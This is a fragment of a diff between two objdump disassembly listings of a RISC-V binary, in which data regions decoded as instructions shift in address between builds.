+    17b4:	0600                	addi	s0,sp,768
+    17b6:	6087019b          	0x6087019b
+    17ba:	0000                	unimp
+    17bc:	e706                	fsw	ft1,140(sp)
+    17be:	1001                	c.nop	-32
+    17c0:	003d                	c.nop	15
     17c2:	0600                	addi	s0,sp,768
-    17c4:	5f7b019b          	0x5f7b019b
+    17c4:	02d4                	addi	a3,sp,324
+    17c6:	738a                	flw	ft7,160(sp)
     17c8:	0000                	unimp
-    17ca:	e706                	fsw	ft1,140(sp)
-    17cc:	0301                	addi	t1,t1,0
-    17ce:	003c                	addi	a5,sp,8
-    17d0:	0600                	addi	s0,sp,768
-    17d2:	02d4                	addi	a3,sp,324
-    17d4:	000072ef          	jal	t0,87d4 <__stack_size+0x7fd4>
-    17d8:	8606                	mv	a2,ra
-    17da:	00513803          	0x513803
+    17ca:	8606                	mv	a2,ra
+    17cc:	00527a03          	0x527a03
+    17d0:	0500                	addi	s0,sp,640
+    17d2:	7135038b          	0x7135038b
+    17d6:	0000                	unimp
+    17d8:	9106                	add	sp,sp,ra
+    17da:	00527303          	0x527303
     17de:	0500                	addi	s0,sp,640
-    17e0:	70b4038b          	0x70b4038b
+    17e0:	0396                	slli	t2,t2,0x5
+    17e2:	527f                	0x527f
     17e4:	0000                	unimp
-    17e6:	9106                	add	sp,sp,ra
-    17e8:	00513103          	0x513103
-    17ec:	0500                	addi	s0,sp,640
-    17ee:	0396                	slli	t2,t2,0x5
-    17f0:	513d                	li	sp,-17
-    17f2:	0000                	unimp
-    17f4:	0400                	addi	s0,sp,512
-    17f6:	0000                	unimp
-    17f8:	0205                	addi	tp,tp,1
-    17fa:	00006cab          	0x6cab
-    17fe:	0505                	addi	a0,a0,1
-    1800:	000019a3          	sh	zero,19(zero) # 13 <__stack_size-0x7ed>
-    1804:	0400                	addi	s0,sp,512
-    1806:	0000                	unimp
-    1808:	1905                	addi	s2,s2,-31
-    180a:	8122                	mv	sp,s0
-    180c:	0000                	unimp
-    180e:	1a05                	addi	s4,s4,-31
-    1810:	7a46                	flw	fs4,112(sp)
-    1812:	0000                	unimp
-    1814:	0400                	addi	s0,sp,512
-    1816:	0000                	unimp
-    1818:	a205                	j	1938 <__stack_size+0x1138>
-    181a:	7a01                	lui	s4,0xfffe0
-    181c:	05000067          	jr	80(zero) # 0 <__stack_size-0x800>
-    1820:	01f0                	addi	a2,sp,204
-    1822:	00005efb          	0x5efb
-    1826:	f105                	bnez	a0,1746 <__stack_size+0xf46>
-    1828:	d501                	beqz	a0,1730 <__stack_size+0xf30>
-    182a:	006d                	c.nop	27
+    17e6:	0400                	addi	s0,sp,512
+    17e8:	0000                	unimp
+    17ea:	0205                	addi	tp,tp,1
+    17ec:	6d49                	lui	s10,0x12
+    17ee:	0000                	unimp
+    17f0:	0505                	addi	a0,a0,1
+    17f2:	18f2                	slli	a7,a7,0x3c
+    17f4:	0000                	unimp
+    17f6:	0400                	addi	s0,sp,512
+    17f8:	0000                	unimp
+    17fa:	1905                	addi	s2,s2,-31
+    17fc:	81a5                	srli	a1,a1,0x9
+    17fe:	0000                	unimp
+    1800:	1a05                	addi	s4,s4,-31
+    1802:	00007abf 00000400 	0x40000007abf
+    180a:	a205                	j	192a <__stack_size+0x112a>
+    180c:	ea01                	bnez	a2,181c <__stack_size+0x101c>
+    180e:	05000067          	jr	80(zero) # 0 <__stack_size-0x800>
+    1812:	01f0                	addi	a2,sp,204
+    1814:	00006007          	0x6007
+    1818:	f105                	bnez	a0,1738 <__stack_size+0xf38>
+    181a:	6e01                	0x6e01
+    181c:	006e                	c.slli	zero,0x1b
+    181e:	0500                	addi	s0,sp,640
+    1820:	01f5                	addi	gp,gp,29
+    1822:	35fd                	jal	1710 <__stack_size+0xf10>
+    1824:	0000                	unimp
+    1826:	f805                	bnez	s0,1756 <__stack_size+0xf56>
+    1828:	9501                	srai	a0,a0,0x20
+    182a:	002d                	c.nop	11
     182c:	0500                	addi	s0,sp,640
-    182e:	01f5                	addi	gp,gp,29
-    1830:	3521                	jal	1638 <__stack_size+0xe38>
+    182e:	01ff                	0x1ff
+    1830:	3f42                	fld	ft10,48(sp)
     1832:	0000                	unimp
-    1834:	f805                	bnez	s0,1764 <__stack_size+0xf64>
-    1836:	1d01                	addi	s10,s10,-32
-    1838:	000c                	0xc
-    183a:	0500                	addi	s0,sp,640
-    183c:	01ff                	0x1ff
-    183e:	00003e37          	lui	t3,0x3
-    1842:	8705                	srai	a4,a4,0x1
-    1844:	6c02                	flw	fs8,0(sp)
-    1846:	00000083          	lb	ra,0(zero) # 0 <__stack_size-0x800>
-    184a:	0004                	0x4
-    184c:	0500                	addi	s0,sp,640
-    184e:	7136                	flw	ft2,108(sp)
-    1850:	0091                	addi	ra,ra,4
-    1852:	0500                	addi	s0,sp,640
-    1854:	006ff937          	lui	s2,0x6ff
-    1858:	0500                	addi	s0,sp,640
-    185a:	d638                	sw	a4,104(a2)
-    185c:	0095                	addi	ra,ra,5
-    185e:	0500                	addi	s0,sp,640
-    1860:	773d                	lui	a4,0xfffef
-    1862:	0085                	addi	ra,ra,1
-    1864:	0500                	addi	s0,sp,640
-    1866:	843e                	mv	s0,a5
-    1868:	0054                	addi	a3,sp,4
-    186a:	0500                	addi	s0,sp,640
-    186c:	002cd33f d7400500 	0xd7400500002cd33f
-    1874:	0039                	c.nop	14
-    1876:	0500                	addi	s0,sp,640
-    1878:	f741                	bnez	a4,1800 <__stack_size+0x1000>
-    187a:	0500008f          	0x500008f
-    187e:	6142                	flw	ft2,16(sp)
-    1880:	0064                	addi	s1,sp,12
-    1882:	0500                	addi	s0,sp,640
-    1884:	000e2e43          	fmadd.s	ft8,ft8,ft0,ft0,rdn
-    1888:	0500                	addi	s0,sp,640
-    188a:	5c44                	lw	s1,60(s0)
-    188c:	0014                	0x14
-    188e:	0500                	addi	s0,sp,640
-    1890:	1446                	slli	s0,s0,0x31
-    1892:	0004                	0x4
-    1894:	0500                	addi	s0,sp,640
-    1896:	f048                	fsw	fa0,36(s0)
-    1898:	0034                	addi	a3,sp,8
-    189a:	0500                	addi	s0,sp,640
-    189c:	2149                	jal	1d1e <__stack_size+0x151e>
-    189e:	0045                	c.nop	17
-    18a0:	0500                	addi	s0,sp,640
-    18a2:	344a                	fld	fs0,176(sp)
-    18a4:	0095                	addi	ra,ra,5
-    18a6:	0500                	addi	s0,sp,640
-    18a8:	944c                	0x944c
-    18aa:	0076                	c.slli	zero,0x1d
-    18ac:	0500                	addi	s0,sp,640
-    18ae:	0f4d                	addi	t5,t5,19
-    18b0:	009a                	slli	ra,ra,0x6
-    18b2:	0500                	addi	s0,sp,640
-    18b4:	234e                	fld	ft6,208(sp)
-    18b6:	0001                	nop
-    18b8:	0500                	addi	s0,sp,640
-    18ba:	002da74f          	fnmadd.s	fa4,fs11,ft2,ft0,rdn
-    18be:	0500                	addi	s0,sp,640
-    18c0:	da52                	sw	s4,52(sp)
-    18c2:	0074                	addi	a3,sp,12
-    18c4:	0500                	addi	s0,sp,640
-    18c6:	002aca53          	fadd.s	fs4,fs5,ft2,rmm
-    18ca:	0500                	addi	s0,sp,640
-    18cc:	a754                	fsd	fa3,136(a4)
-    18ce:	009e                	slli	ra,ra,0x7
-    18d0:	0500                	addi	s0,sp,640
-    18d2:	3e55                	jal	1486 <__stack_size+0xc86>
-    18d4:	0061                	c.nop	24
-    18d6:	0500                	addi	s0,sp,640
-    18d8:	ab56                	fsd	fs5,400(sp)
-    18da:	0099                	addi	ra,ra,6
-    18dc:	0500                	addi	s0,sp,640
-    18de:	00933e57          	0x933e57
-    18e2:	0500                	addi	s0,sp,640
-    18e4:	e558                	fsw	fa4,12(a0)
-    18e6:	0071                	c.nop	28
-    18e8:	0500                	addi	s0,sp,640
-    18ea:	6859                	lui	a6,0x16
-    18ec:	0054                	addi	a3,sp,4
-    18ee:	0500                	addi	s0,sp,640
-    18f0:	0168                	addi	a0,sp,140
-    18f2:	05000027          	0x5000027
-    18f6:	eb69                	bnez	a4,19c8 <__stack_size+0x11c8>
-    18f8:	0014                	0x14
-    18fa:	0500                	addi	s0,sp,640
-    18fc:	f56a                	fsw	fs10,168(sp)
-    18fe:	0068                	addi	a0,sp,12
-    1900:	0500                	addi	s0,sp,640
-    1902:	0035b06b          	0x35b06b
-    1906:	0500                	addi	s0,sp,640
-    1908:	b26c                	fsd	fa1,224(a2)
-    190a:	0081                	addi	ra,ra,0
-    190c:	0500                	addi	s0,sp,640
-    190e:	436d                	li	t1,27
-    1910:	009e                	slli	ra,ra,0x7
-    1912:	0500                	addi	s0,sp,640
-    1914:	766e                	flw	fa2,248(sp)
-    1916:	0500003b          	0x500003b
-    191a:	0015ec6f          	jal	s8,6011a <__stack_size+0x5f91a>
-    191e:	0500                	addi	s0,sp,640
-    1920:	d670                	sw	a2,108(a2)
-    1922:	000a                	c.slli	zero,0x2
-    1924:	0500                	addi	s0,sp,640
-    1926:	b871                	j	11c2 <__stack_size+0x9c2>
-    1928:	0006                	c.slli	zero,0x1
-    192a:	0500                	addi	s0,sp,640
-    192c:	7972                	flw	fs2,60(sp)
-    192e:	0069                	c.nop	26
-    1930:	0500                	addi	s0,sp,640
-    1932:	008a3073          	csrc	0x8,s4
-    1936:	0500                	addi	s0,sp,640
-    1938:	0f76                	slli	t5,t5,0x1d
-    193a:	0026                	c.slli	zero,0x9
-    193c:	0500                	addi	s0,sp,640
-    193e:	0065d177          	0x65d177
-    1942:	0500                	addi	s0,sp,640
-    1944:	4078                	lw	a4,68(s0)
-    1946:	008a                	slli	ra,ra,0x2
-    1948:	0500                	addi	s0,sp,640
-    194a:	008b2f7b          	0x8b2f7b
-    194e:	0500                	addi	s0,sp,640
-    1950:	e37c                	fsw	fa5,68(a4)
-    1952:	0084                	addi	s1,sp,64
-    1954:	0500                	addi	s0,sp,640
-    1956:	f67d                	bnez	a2,1944 <__stack_size+0x1144>
-    1958:	0048                	addi	a0,sp,4
-    195a:	0500                	addi	s0,sp,640
-    195c:	cc7e                	sw	t6,24(sp)
-    195e:	008d                	addi	ra,ra,3
-    1960:	0500                	addi	s0,sp,640
-    1962:	157f                	0x157f
-    1964:	001c                	0x1c
-    1966:	0500                	addi	s0,sp,640
-    1968:	0180                	addi	s0,sp,192
-    196a:	1fbc                	addi	a5,sp,1016
-    196c:	0000                	unimp
-    196e:	8105                	srli	a0,a0,0x1
-    1970:	0b01                	addi	s6,s6,0
-    1972:	0042                	c.slli	zero,0x10
-    1974:	0000                	unimp
-    1976:	0004                	0x4
-    1978:	0500                	addi	s0,sp,640
-    197a:	9202                	jalr	tp
-    197c:	05000097          	auipc	ra,0x5000
-    1980:	e909                	bnez	a0,1992 <__stack_size+0x1192>
-    1982:	003a                	c.slli	zero,0xe
-    1984:	0500                	addi	s0,sp,640
-    1986:	0b0a                	slli	s6,s6,0x2
-    1988:	005f 0000 0004      	0x40000005f
+    1834:	8705                	srai	a4,a4,0x1
+    1836:	f202                	fsw	ft0,36(sp)
+    1838:	00000083          	lb	ra,0(zero) # 0 <__stack_size-0x800>
+    183c:	0004                	0x4
+    183e:	0500                	addi	s0,sp,640
+    1840:	0d36                	slli	s10,s10,0xd
+    1842:	0078                	addi	a4,sp,12
+    1844:	0500                	addi	s0,sp,640
+    1846:	001aff37          	lui	t5,0x1af
+    184a:	0500                	addi	s0,sp,640
+    184c:	8538                	0x8538
+    184e:	0096                	slli	ra,ra,0x5
+    1850:	0500                	addi	s0,sp,640
+    1852:	f33d                	bnez	a4,17b8 <__stack_size+0xfb8>
+    1854:	0085                	addi	ra,ra,1
+    1856:	0500                	addi	s0,sp,640
+    1858:	9f3e                	add	t5,t5,a5
+    185a:	0055                	c.nop	21
+    185c:	0500                	addi	s0,sp,640
+    185e:	002de83f e5400500 	0xe5400500002de83f
+    1866:	003a                	c.slli	zero,0xe
+    1868:	0500                	addi	s0,sp,640
+    186a:	c441                	beqz	s0,18f2 <__stack_size+0x10f2>
+    186c:	0090                	addi	a2,sp,64
+    186e:	0500                	addi	s0,sp,640
+    1870:	7e42                	flw	ft8,48(sp)
+    1872:	000d                	c.nop	3
+    1874:	0500                	addi	s0,sp,640
+    1876:	000de843          	fmadd.s	fa6,fs11,ft0,ft0,unknown
+    187a:	0500                	addi	s0,sp,640
+    187c:	c344                	sw	s1,4(a4)
+    187e:	05000013          	li	zero,80
+    1882:	a446                	fsd	fa7,8(sp)
+    1884:	05000003          	lb	zero,80(zero) # 50 <__stack_size-0x7b0>
+    1888:	cc48                	sw	a0,28(s0)
+    188a:	0035                	c.nop	13
+    188c:	0500                	addi	s0,sp,640
+    188e:	0f49                	addi	t5,t5,18
+    1890:	0046                	c.slli	zero,0x11
+    1892:	0500                	addi	s0,sp,640
+    1894:	e34a                	fsw	fs2,132(sp)
+    1896:	0095                	addi	ra,ra,5
+    1898:	0500                	addi	s0,sp,640
+    189a:	414c                	lw	a1,4(a0)
+    189c:	05000077          	0x5000077
+    18a0:	bd4d                	j	1752 <__stack_size+0xf52>
+    18a2:	009a                	slli	ra,ra,0x6
+    18a4:	0500                	addi	s0,sp,640
+    18a6:	004e                	c.slli	zero,0x13
+    18a8:	0001                	nop
+    18aa:	0500                	addi	s0,sp,640
+    18ac:	002ea74f          	fnmadd.s	fa4,ft9,ft2,ft0,rdn
+    18b0:	0500                	addi	s0,sp,640
+    18b2:	7552                	flw	fa0,52(sp)
+    18b4:	0075                	c.nop	29
+    18b6:	0500                	addi	s0,sp,640
+    18b8:	002b9553          	fadd.s	fa0,fs7,ft2,rtz
+    18bc:	0500                	addi	s0,sp,640
+    18be:	0954                	addi	a3,sp,148
+    18c0:	009f 0500 3b55      	0x3b550500009f
+    18c6:	0062                	c.slli	zero,0x18
+    18c8:	0500                	addi	s0,sp,640
+    18ca:	5956                	lw	s2,116(sp)
+    18cc:	009a                	slli	ra,ra,0x6
+    18ce:	0500                	addi	s0,sp,640
+    18d0:	0093d857          	0x93d857
+    18d4:	0500                	addi	s0,sp,640
+    18d6:	6658                	flw	fa4,12(a2)
+    18d8:	0072                	c.slli	zero,0x1c
+    18da:	0500                	addi	s0,sp,640
+    18dc:	8359                	srli	a4,a4,0x16
+    18de:	0055                	c.nop	21
+    18e0:	0500                	addi	s0,sp,640
+    18e2:	c568                	sw	a0,76(a0)
+    18e4:	05000027          	0x5000027
+    18e8:	5269                	li	tp,-6
+    18ea:	0014                	0x14
+    18ec:	0500                	addi	s0,sp,640
+    18ee:	b26a                	fsd	fs10,288(sp)
+    18f0:	0069                	c.nop	26
+    18f2:	0500                	addi	s0,sp,640
+    18f4:	00367c6b          	0x367c6b
+    18f8:	0500                	addi	s0,sp,640
+    18fa:	356c                	fld	fa1,232(a0)
+    18fc:	0082                	c.slli64	ra
+    18fe:	0500                	addi	s0,sp,640
+    1900:	a56d                	j	1faa <__stack_size+0x17aa>
+    1902:	009e                	slli	ra,ra,0x7
+    1904:	0500                	addi	s0,sp,640
+    1906:	836e                	mv	t1,s11
+    1908:	003c                	addi	a5,sp,8
+    190a:	0500                	addi	s0,sp,640
+    190c:	00153b6f          	jal	s6,5510c <__stack_size+0x5490c>
+    1910:	0500                	addi	s0,sp,640
+    1912:	6c70                	flw	fa2,92(s0)
+    1914:	000a                	c.slli	zero,0x2
+    1916:	0500                	addi	s0,sp,640
+    1918:	2e71                	jal	1cb4 <__stack_size+0x14b4>
+    191a:	0006                	c.slli	zero,0x1
+    191c:	0500                	addi	s0,sp,640
+    191e:	3372                	fld	ft6,312(sp)
+    1920:	000e                	c.slli	zero,0x3
+    1922:	0500                	addi	s0,sp,640
+    1924:	008ad373          	csrrwi	t1,0x8,21
+    1928:	0500                	addi	s0,sp,640
+    192a:	d376                	sw	t4,164(sp)
+    192c:	0026                	c.slli	zero,0x9
+    192e:	0500                	addi	s0,sp,640
+    1930:	00665f77          	0x665f77
+    1934:	0500                	addi	s0,sp,640
+    1936:	e378                	fsw	fa4,68(a4)
+    1938:	008a                	slli	ra,ra,0x2
+    193a:	0500                	addi	s0,sp,640
+    193c:	008be27b          	0x8be27b
+    1940:	0500                	addi	s0,sp,640
+    1942:	5f7c                	lw	a5,124(a4)
+    1944:	0085                	addi	ra,ra,1
+    1946:	0500                	addi	s0,sp,640
+    1948:	357d                	jal	17f6 <__stack_size+0xff6>
+    194a:	004a                	c.slli	zero,0x12
+    194c:	0500                	addi	s0,sp,640
+    194e:	867e                	mv	a2,t6
+    1950:	008e                	slli	ra,ra,0x3
+    1952:	0500                	addi	s0,sp,640
+    1954:	4e7f                	0x4e7f
+    1956:	0500001b          	0x500001b
+    195a:	0180                	addi	s0,sp,192
+    195c:	1ff2                	slli	t6,t6,0x3c
+    195e:	0000                	unimp
+    1960:	8105                	srli	a0,a0,0x1
+    1962:	0a01                	addi	s4,s4,0
+    1964:	00000043          	fmadd.s	ft0,ft0,ft0,ft0,rne
+    1968:	0004                	0x4
+    196a:	0500                	addi	s0,sp,640
+    196c:	4102                	lw	sp,0(sp)
+    196e:	0098                	addi	a4,sp,64
+    1970:	0500                	addi	s0,sp,640
+    1972:	ff09                	bnez	a4,188c <__stack_size+0x108c>
+    1974:	0500003b          	0x500003b
+    1978:	170a                	slli	a4,a4,0x22
+    197a:	0060                	addi	s0,sp,12
+    197c:	0000                	unimp
+    197e:	0004                	0x4
+    1980:	0500                	addi	s0,sp,640
+    1982:	01aa                	slli	gp,gp,0xa
+    1984:	2161                	jal	1e0c <__stack_size+0x160c>
+    1986:	0000                	unimp
+    1988:	ab05                	j	1eb8 <__stack_size+0x16b8>
+    198a:	0d01                	addi	s10,s10,0
+    198c:	005d                	c.nop	23
     198e:	0500                	addi	s0,sp,640
-    1990:	01aa                	slli	gp,gp,0xa
-    1992:	6316                	flw	ft6,68(sp)
+    1990:	01ac                	addi	a1,sp,200
+    1992:	9fd2                	add	t6,t6,s4
     1994:	0000                	unimp
-    1996:	ab05                	j	1ec6 <__stack_size+0x16c6>
-    1998:	0301                	addi	t1,t1,0
-    199a:	005c                	addi	a5,sp,4
+    1996:	ad05                	j	1fc6 <__stack_size+0x17c6>
+    1998:	7001                	c.lui	zero,0xfffe0
+    199a:	0024                	addi	s1,sp,8
     199c:	0500                	addi	s0,sp,640
-    199e:	01ac                	addi	a1,sp,200
-    19a0:	9f9a                	add	t6,t6,t1
+    199e:	02c4                	addi	s1,sp,324
+    19a0:	47d6                	lw	a5,84(sp)
     19a2:	0000                	unimp
-    19a4:	ad05                	j	1fd4 <__stack_size+0x17d4>
-    19a6:	c401                	beqz	s0,19ae <__stack_size+0x11ae>
-    19a8:	05000023          	sb	a6,64(zero) # 40 <__stack_size-0x7c0>
-    19ac:	02c4                	addi	s1,sp,324
-    19ae:	46b9                	li	a3,14
+    19a4:	c505                	beqz	a0,19cc <__stack_size+0x11cc>
+    19a6:	b302                	fsd	ft0,416(sp)
+    19a8:	05000003          	lb	zero,80(zero) # 50 <__stack_size-0x7b0>
+    19ac:	02c6                	slli	t0,t0,0x11
+    19ae:	3d09                	jal	17c0 <__stack_size+0xfc0>
     19b0:	0000                	unimp
-    19b2:	c505                	beqz	a0,19da <__stack_size+0x11da>
-    19b4:	2302                	fld	ft6,0(sp)
-    19b6:	0004                	0x4
+    19b2:	c705                	beqz	a4,19da <__stack_size+0x11da>
+    19b4:	5d02                	lw	s10,32(sp)
+    19b6:	0080                	addi	s0,sp,64
     19b8:	0500                	addi	s0,sp,640
-    19ba:	02c6                	slli	t0,t0,0x11
-    19bc:	3bfc                	fld	fa5,240(a5)
+    19ba:	02c9                	addi	t0,t0,18
+    19bc:	0bd8                	addi	a4,sp,468
     19be:	0000                	unimp
-    19c0:	c705                	beqz	a4,19e8 <__stack_size+0x11e8>
-    19c2:	da02                	sw	zero,52(sp)
-    19c4:	007f                	0x7f
+    19c0:	ca05                	beqz	a2,19f0 <__stack_size+0x11f0>
+    19c2:	e502                	fsw	ft0,136(sp)
+    19c4:	005e                	c.slli	zero,0x17
     19c6:	0500                	addi	s0,sp,640
-    19c8:	02c9                	addi	t0,t0,18
-    19ca:	0c4a                	slli	s8,s8,0x12
+    19c8:	4ea202cb          	fnmsub.q	ft5,ft4,fa0,fs1,rne
     19cc:	0000                	unimp
-    19ce:	ca05                	beqz	a2,19fe <__stack_size+0x11fe>
-    19d0:	d902                	sw	zero,176(sp)
-    19d2:	005d                	c.nop	23
+    19ce:	cf05                	beqz	a4,1a06 <__stack_size+0x1206>
+    19d0:	8d02                	jr	s10
+    19d2:	005e                	c.slli	zero,0x17
     19d4:	0500                	addi	s0,sp,640
-    19d6:	4da502cb          	0x4da502cb
+    19d6:	02d0                	addi	a2,sp,324
+    19d8:	2929                	jal	1df2 <__stack_size+0x15f2>
     19da:	0000                	unimp
-    19dc:	cf05                	beqz	a4,1a14 <__stack_size+0x1214>
-    19de:	8d02                	jr	s10
-    19e0:	005d                	c.nop	23
-    19e2:	0500                	addi	s0,sp,640
-    19e4:	02d0                	addi	a2,sp,324
-    19e6:	2865                	jal	1a9e <__stack_size+0x129e>
+    19dc:	d105                	beqz	a0,18fc <__stack_size+0x10fc>
+    19de:	fe02                	fsw	ft0,60(sp)
+    19e0:	05000057          	0x5000057
+    19e4:	99b502d7          	0x99b502d7
     19e8:	0000                	unimp
-    19ea:	d105                	beqz	a0,190a <__stack_size+0x110a>
-    19ec:	c102                	sw	zero,128(sp)
-    19ee:	0056                	c.slli	zero,0x15
+    19ea:	d805                	beqz	s0,191a <__stack_size+0x111a>
+    19ec:	2d02                	fld	fs10,0(sp)
+    19ee:	000a                	c.slli	zero,0x2
     19f0:	0500                	addi	s0,sp,640
-    19f2:	991202d7          	0x991202d7
-    19f6:	0000                	unimp
-    19f8:	d805                	beqz	s0,1928 <__stack_size+0x1128>
-    19fa:	9702                	jalr	a4
-    19fc:	000a                	c.slli	zero,0x2
+    19f2:	02d9                	addi	t0,t0,22
+    19f4:	00005bdb          	0x5bdb
+    19f8:	da05                	beqz	a2,1928 <__stack_size+0x1128>
+    19fa:	2102                	fld	ft2,0(sp)
+    19fc:	000e                	c.slli	zero,0x3
     19fe:	0500                	addi	s0,sp,640
-    1a00:	02d9                	addi	t0,t0,22
-    1a02:	5ab8                	lw	a4,112(a3)
+    1a00:	6ffe02db          	0x6ffe02db
     1a04:	0000                	unimp
-    1a06:	da05                	beqz	a2,1936 <__stack_size+0x1136>
-    1a08:	6702                	flw	fa4,0(sp)
-    1a0a:	000e                	c.slli	zero,0x3
+    1a06:	dc05                	beqz	s0,193e <__stack_size+0x113e>
+    1a08:	9b02                	jalr	s6
+    1a0a:	0094                	addi	a3,sp,64
     1a0c:	0500                	addi	s0,sp,640
-    1a0e:	6f6502db          	0x6f6502db
+    1a0e:	02dd                	addi	t0,t0,23
+    1a10:	22b4                	fld	fa3,64(a3)
     1a12:	0000                	unimp
-    1a14:	dc05                	beqz	s0,194c <__stack_size+0x114c>
-    1a16:	0b02                	c.slli64	s6
-    1a18:	0094                	addi	a3,sp,64
+    1a14:	de05                	beqz	a2,194c <__stack_size+0x114c>
+    1a16:	e602                	fsw	ft0,12(sp)
+    1a18:	0001                	nop
     1a1a:	0500                	addi	s0,sp,640
-    1a1c:	02dd                	addi	t0,t0,23
-    1a1e:	90ee                	add	ra,ra,s11
-    1a20:	0000                	unimp
-    1a22:	de05                	beqz	a2,195a <__stack_size+0x115a>
-    1a24:	1102                	slli	sp,sp,0x20
-    1a26:	0002                	c.slli64	zero
+    1a1c:	02df 3aaa 0000      	0x3aaa02df
+    1a22:	e005                	bnez	s0,1a42 <__stack_size+0x1242>
+    1a24:	9b02                	jalr	s6
+    1a26:	0005                	c.nop	1
     1a28:	0500                	addi	s0,sp,640
-    1a2a:	02df 39b7 0000      	0x39b702df
-    1a30:	e005                	bnez	s0,1a50 <__stack_size+0x1250>
-    1a32:	2502                	fld	fa0,0(sp)
-    1a34:	0006                	c.slli	zero,0x1
+    1a2a:	7aa802e3          	beq	a6,a0,29ce <__stack_size+0x21ce>
+    1a2e:	0000                	unimp
+    1a30:	e405                	bnez	s0,1a58 <__stack_size+0x1258>
+    1a32:	1c02                	slli	s8,s8,0x20
+    1a34:	0076                	c.slli	zero,0x1d
     1a36:	0500                	addi	s0,sp,640
-    1a38:	7a2f02e3          	beq	t5,sp,29dc <__stack_size+0x21dc>
-    1a3c:	0000                	unimp
-    1a3e:	e405                	bnez	s0,1a66 <__stack_size+0x1266>
-    1a40:	8102                	jr	sp
-    1a42:	0075                	c.nop	29
+    1a38:	02e5                	addi	t0,t0,25
+    1a3a:	0000224b          	fnmsub.s	ft4,ft0,ft0,ft0,rdn
+    1a3e:	e605                	bnez	a2,1a66 <__stack_size+0x1266>
+    1a40:	2d02                	fld	fs10,0(sp)
+    1a42:	0001                	nop
     1a44:	0500                	addi	s0,sp,640
-    1a46:	02e5                	addi	t0,t0,25
-    1a48:	000021c3          	fmadd.s	ft3,ft0,ft0,ft0,rdn
-    1a4c:	e605                	bnez	a2,1a74 <__stack_size+0x1274>
-    1a4e:	5802                	lw	a6,32(sp)
-    1a50:	0001                	nop
+    1a46:	02e8                	addi	a0,sp,332
+    1a48:	107e                	c.slli	zero,0x3f
+    1a4a:	0000                	unimp
+    1a4c:	e905                	bnez	a0,1a7c <__stack_size+0x127c>
+    1a4e:	9802                	jalr	a6
+    1a50:	0060                	addi	s0,sp,12
     1a52:	0500                	addi	s0,sp,640
-    1a54:	02e8                	addi	a0,sp,332
-    1a56:	10c9                	addi	ra,ra,-14
-    1a58:	0000                	unimp
-    1a5a:	e905                	bnez	a0,1a8a <__stack_size+0x128a>
-    1a5c:	8c02                	jr	s8
-    1a5e:	005f 0500 02ea      	0x2ea0500005f
-    1a64:	20f8                	fld	fa4,192(s1)
-    1a66:	0000                	unimp
-    1a68:	eb05                	bnez	a4,1a98 <__stack_size+0x1298>
-    1a6a:	1902                	slli	s2,s2,0x20
-    1a6c:	0089                	addi	ra,ra,2
+    1a54:	02ea                	slli	t0,t0,0x1a
+    1a56:	0000216b          	0x216b
+    1a5a:	eb05                	bnez	a4,1a8a <__stack_size+0x128a>
+    1a5c:	bc02                	fsd	ft0,56(sp)
+    1a5e:	0089                	addi	ra,ra,2
+    1a60:	0500                	addi	s0,sp,640
+    1a62:	02ec                	addi	a1,sp,332
+    1a64:	0000154b          	fnmsub.s	fa0,ft0,ft0,ft0,rtz
+    1a68:	ed05                	bnez	a0,1aa0 <__stack_size+0x12a0>
+    1a6a:	8502                	jr	a0
+    1a6c:	0001                	nop
     1a6e:	0500                	addi	s0,sp,640
-    1a70:	02ec                	addi	a1,sp,332
-    1a72:	15fc                	addi	a5,sp,748
-    1a74:	0000                	unimp
-    1a76:	ed05                	bnez	a0,1aae <__stack_size+0x12ae>
-    1a78:	b002                	fsd	ft0,32(sp)
-    1a7a:	0001                	nop
-    1a7c:	0500                	addi	s0,sp,640
-    1a7e:	02ee                	slli	t0,t0,0x1b
-    1a80:	1de2                	slli	s11,s11,0x38
+    1a70:	02ee                	slli	t0,t0,0x1b
+    1a72:	00001e03          	lh	t3,0(zero) # 0 <__stack_size-0x800>
+    1a76:	ef05                	bnez	a4,1aae <__stack_size+0x12ae>
+    1a78:	ab02                	fsd	ft0,400(sp)
+    1a7a:	05000053          	0x5000053
+    1a7e:	02f0                	addi	a2,sp,332
+    1a80:	6624                	flw	fs1,72(a2)
     1a82:	0000                	unimp
-    1a84:	ef05                	bnez	a4,1abc <__stack_size+0x12bc>
-    1a86:	8902                	jr	s2
-    1a88:	0052                	c.slli	zero,0x14
+    1a84:	f105                	bnez	a0,19a4 <__stack_size+0x11a4>
+    1a86:	9a02                	jalr	s4
+    1a88:	00a1                	addi	ra,ra,8
     1a8a:	0500                	addi	s0,sp,640
-    1a8c:	02f0                	addi	a2,sp,332
-    1a8e:	6596                	flw	fa1,68(sp)
-    1a90:	0000                	unimp
-    1a92:	f105                	bnez	a0,19b2 <__stack_size+0x11b2>
-    1a94:	8102                	jr	sp
-    1a96:	00a1                	addi	ra,ra,8
+    1a8c:	02f2                	slli	t0,t0,0x1c
+    1a8e:	00001c27          	0x1c27
+    1a92:	f305                	bnez	a4,19b2 <__stack_size+0x11b2>
+    1a94:	1e02                	slli	t3,t3,0x20
+    1a96:	0012                	c.slli	zero,0x4
     1a98:	0500                	addi	s0,sp,640
-    1a9a:	02f2                	slli	t0,t0,0x1c
-    1a9c:	1cf9                	addi	s9,s9,-2
+    1a9a:	02f4                	addi	a3,sp,332
+    1a9c:	5412                	lw	s0,36(sp)
     1a9e:	0000                	unimp
-    1aa0:	f305                	bnez	a4,19c0 <__stack_size+0x11c0>
-    1aa2:	ac02                	fsd	ft0,24(sp)
-    1aa4:	0012                	c.slli	zero,0x4
-    1aa6:	0500                	addi	s0,sp,640
-    1aa8:	02f4                	addi	a3,sp,332
-    1aaa:	52b8                	lw	a4,96(a3)
+    1aa0:	f505                	bnez	a0,19c8 <__stack_size+0x11c8>
+    1aa2:	bf02                	fsd	ft0,440(sp)
+    1aa4:	05000093          	li	ra,80
+    1aa8:	02f6                	slli	t0,t0,0x1d
+    1aaa:	5499                	li	s1,-26
     1aac:	0000                	unimp
-    1aae:	f505                	bnez	a0,19d6 <__stack_size+0x11d6>
-    1ab0:	2502                	fld	fa0,0(sp)
-    1ab2:	05000093          	li	ra,80
-    1ab6:	02f6                	slli	t0,t0,0x1d
-    1ab8:	5342                	lw	t1,48(sp)
+    1aae:	f705                	bnez	a4,19d6 <__stack_size+0x11d6>
+    1ab0:	4502                	lw	a0,0(sp)
+    1ab2:	0070                	addi	a2,sp,12
+    1ab4:	0500                	addi	s0,sp,640
+    1ab6:	02f8                	addi	a4,sp,332
+    1ab8:	5c92                	lw	s9,36(sp)
     1aba:	0000                	unimp
-    1abc:	f705                	bnez	a4,19e4 <__stack_size+0x11e4>
